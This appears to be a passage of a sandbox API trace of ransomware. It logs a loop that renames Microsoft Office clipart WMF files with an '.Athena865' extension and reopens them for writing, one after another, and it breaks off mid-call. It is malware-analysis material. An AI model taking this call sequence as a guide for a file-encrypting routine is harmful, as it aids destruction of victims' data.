73 [0124.511] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf.athena865"), dwFlags=0x1) returned 1 [0124.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.513] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=44948) returned 1 [0124.517] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0103812.WMF" | out: lpString1="J0103812.WMF") returned="J0103812.WMF" [0124.517] lstrlenW (lpString="J0103812.WMF") returned 12 [0124.517] lstrlenW (lpString="Athena865") returned 9 [0124.517] lstrcmpiW (lpString1="03812.WMF", lpString2="Athena865") returned -1 [0124.517] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF.Athena865") returned 73 [0124.517] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf.athena865"), dwFlags=0x1) returned 1 [0124.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.518] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5908) returned 1 [0124.521] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0103850.WMF" | out: lpString1="J0103850.WMF") returned="J0103850.WMF" [0124.521] lstrlenW (lpString="J0103850.WMF") returned 12 [0124.521] lstrlenW (lpString="Athena865") returned 9 [0124.521] lstrcmpiW (lpString1="03850.WMF", lpString2="Athena865") returned -1 [0124.521] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF.Athena865") returned 73 [0124.521] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf.athena865"), dwFlags=0x1) returned 1 [0124.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.523] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=23596) returned 1 [0124.526] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105230.WMF" | out: lpString1="J0105230.WMF") returned="J0105230.WMF" [0124.526] lstrlenW (lpString="J0105230.WMF") returned 12 [0124.526] lstrlenW (lpString="Athena865") returned 9 [0124.526] lstrcmpiW (lpString1="05230.WMF", lpString2="Athena865") returned -1 [0124.526] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF.Athena865") returned 73 [0124.526] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf.athena865"), dwFlags=0x1) returned 1 [0124.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.529] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5172) returned 1 [0124.532] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105232.WMF" | out: lpString1="J0105232.WMF") returned="J0105232.WMF" [0124.532] lstrlenW (lpString="J0105232.WMF") returned 12 [0124.532] lstrlenW (lpString="Athena865") returned 9 [0124.532] lstrcmpiW (lpString1="05232.WMF", lpString2="Athena865") returned -1 [0124.533] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF.Athena865") returned 73 [0124.533] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf.athena865"), dwFlags=0x1) returned 1 [0124.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.534] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5632) returned 1 [0124.541] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105234.WMF" | out: lpString1="J0105234.WMF") returned="J0105234.WMF" [0124.541] lstrlenW (lpString="J0105234.WMF") returned 12 [0124.541] lstrlenW (lpString="Athena865") returned 9 [0124.541] lstrcmpiW (lpString1="05234.WMF", lpString2="Athena865") returned -1 [0124.541] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF.Athena865") returned 73 [0124.541] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf.athena865"), dwFlags=0x1) returned 1 [0124.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.543] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3444) returned 1 [0124.547] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105238.WMF" | out: lpString1="J0105238.WMF") returned="J0105238.WMF" [0124.547] lstrlenW (lpString="J0105238.WMF") returned 12 [0124.548] lstrlenW (lpString="Athena865") returned 9 [0124.549] lstrcmpiW (lpString1="05238.WMF", lpString2="Athena865") returned -1 [0124.549] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF.Athena865") returned 73 [0124.549] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf.athena865"), dwFlags=0x1) returned 1 [0124.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.550] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17172) returned 1 [0124.556] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105240.WMF" | out: lpString1="J0105240.WMF") returned="J0105240.WMF" [0124.556] lstrlenW (lpString="J0105240.WMF") returned 12 [0124.556] lstrlenW (lpString="Athena865") returned 9 [0124.556] lstrcmpiW (lpString1="05240.WMF", lpString2="Athena865") returned -1 [0124.557] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF.Athena865") returned 73 [0124.557] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf.athena865"), dwFlags=0x1) returned 1 [0124.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.558] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11532) returned 1 [0124.564] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105244.WMF" | out: lpString1="J0105244.WMF") returned="J0105244.WMF" [0124.564] lstrlenW (lpString="J0105244.WMF") returned 12 [0124.565] lstrlenW (lpString="Athena865") returned 9 [0124.566] lstrcmpiW (lpString1="05244.WMF", lpString2="Athena865") returned -1 [0124.566] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF.Athena865") returned 73 [0124.566] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf.athena865"), dwFlags=0x1) returned 1 [0124.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.567] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11228) returned 1 [0124.570] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105246.WMF" | out: lpString1="J0105246.WMF") returned="J0105246.WMF" [0124.570] lstrlenW (lpString="J0105246.WMF") returned 12 [0124.570] lstrlenW (lpString="Athena865") returned 9 [0124.570] lstrcmpiW (lpString1="05246.WMF", lpString2="Athena865") returned -1 [0124.570] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF.Athena865") returned 73 [0124.570] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf.athena865"), dwFlags=0x1) returned 1 [0124.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.571] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=19328) returned 1 [0124.579] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105250.WMF" | out: lpString1="J0105250.WMF") returned="J0105250.WMF" [0124.579] lstrlenW (lpString="J0105250.WMF") returned 12 [0124.579] lstrlenW (lpString="Athena865") returned 9 [0124.579] lstrcmpiW (lpString1="05250.WMF", lpString2="Athena865") returned -1 [0124.580] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF.Athena865") returned 73 [0124.580] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf.athena865"), dwFlags=0x1) returned 1 [0124.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.582] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4628) returned 1 [0124.584] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105266.WMF" | out: lpString1="J0105266.WMF") returned="J0105266.WMF" [0124.584] lstrlenW (lpString="J0105266.WMF") returned 12 [0124.584] lstrlenW (lpString="Athena865") returned 9 [0124.584] lstrcmpiW (lpString1="05266.WMF", lpString2="Athena865") returned -1 [0124.584] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF.Athena865") returned 73 [0124.584] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf.athena865"), dwFlags=0x1) returned 1 [0124.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.586] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5908) returned 1 [0124.589] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105272.WMF" | out: lpString1="J0105272.WMF") returned="J0105272.WMF" [0124.589] lstrlenW (lpString="J0105272.WMF") returned 12 [0124.589] lstrlenW (lpString="Athena865") returned 9 [0124.590] lstrcmpiW (lpString1="05272.WMF", lpString2="Athena865") returned -1 [0124.590] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF.Athena865") returned 73 [0124.590] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf.athena865"), dwFlags=0x1) returned 1 [0124.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.593] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17728) returned 1 [0124.598] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105276.WMF" | out: lpString1="J0105276.WMF") returned="J0105276.WMF" [0124.598] lstrlenW (lpString="J0105276.WMF") returned 12 [0124.598] lstrlenW (lpString="Athena865") returned 9 [0124.598] lstrcmpiW (lpString1="05276.WMF", lpString2="Athena865") returned -1 [0124.598] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF.Athena865") returned 73 [0124.598] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf.athena865"), dwFlags=0x1) returned 1 [0124.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.604] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=19240) returned 1 [0124.610] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105280.WMF" | out: lpString1="J0105280.WMF") returned="J0105280.WMF" [0124.610] lstrlenW (lpString="J0105280.WMF") returned 12 [0124.610] lstrlenW (lpString="Athena865") returned 9 [0124.610] lstrcmpiW (lpString1="05280.WMF", lpString2="Athena865") returned -1 [0124.610] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF.Athena865") returned 73 [0124.610] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf.athena865"), dwFlags=0x1) returned 1 [0124.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.612] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11540) returned 1 [0124.616] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105282.WMF" | out: lpString1="J0105282.WMF") returned="J0105282.WMF" [0124.616] lstrlenW (lpString="J0105282.WMF") returned 12 [0124.617] lstrlenW (lpString="Athena865") returned 9 [0124.617] lstrcmpiW (lpString1="05282.WMF", lpString2="Athena865") returned -1 [0124.617] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF.Athena865") returned 73 [0124.617] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf.athena865"), dwFlags=0x1) returned 1 [0124.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.618] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4796) returned 1 [0124.622] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105286.WMF" | out: lpString1="J0105286.WMF") returned="J0105286.WMF" [0124.622] lstrlenW (lpString="J0105286.WMF") returned 12 [0124.622] lstrlenW (lpString="Athena865") returned 9 [0124.622] lstrcmpiW (lpString1="05286.WMF", lpString2="Athena865") returned -1 [0124.624] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF.Athena865") returned 73 [0124.624] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf.athena865"), dwFlags=0x1) returned 1 [0124.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.630] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6568) returned 1 [0124.635] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105288.WMF" | out: lpString1="J0105288.WMF") returned="J0105288.WMF" [0124.635] lstrlenW (lpString="J0105288.WMF") returned 12 [0124.635] lstrlenW (lpString="Athena865") returned 9 [0124.635] lstrcmpiW (lpString1="05288.WMF", lpString2="Athena865") returned -1 [0124.635] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF.Athena865") returned 73 [0124.635] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf.athena865"), dwFlags=0x1) returned 1 [0124.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.636] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15832) returned 1 [0124.640] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105292.WMF" | out: lpString1="J0105292.WMF") returned="J0105292.WMF" [0124.640] lstrlenW (lpString="J0105292.WMF") returned 12 [0124.640] lstrlenW (lpString="Athena865") returned 9 [0124.640] lstrcmpiW (lpString1="05292.WMF", lpString2="Athena865") returned -1 [0124.640] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF.Athena865") returned 73 [0124.640] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf.athena865"), dwFlags=0x1) returned 1 [0124.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.641] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14868) returned 1 [0124.648] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105294.WMF" | out: lpString1="J0105294.WMF") returned="J0105294.WMF" [0124.648] lstrlenW (lpString="J0105294.WMF") returned 12 [0124.648] lstrlenW (lpString="Athena865") returned 9 [0124.648] lstrcmpiW (lpString1="05294.WMF", lpString2="Athena865") returned -1 [0124.648] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF.Athena865") returned 73 [0124.648] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf.athena865"), dwFlags=0x1) returned 1 [0124.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf.athena865"), dwDesiredAccess=0xc00e0000, 